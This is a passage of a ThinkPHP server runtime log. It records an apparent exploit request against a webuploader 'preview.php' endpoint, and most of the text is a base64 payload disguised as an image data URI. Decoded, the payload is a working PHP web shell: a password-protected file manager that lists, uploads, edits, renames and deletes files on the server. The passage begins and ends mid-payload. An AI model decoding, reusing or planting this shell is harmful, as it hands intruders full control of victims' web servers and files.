iAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:50+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/Admin/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002609s] [吞吐率:383.29req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogIC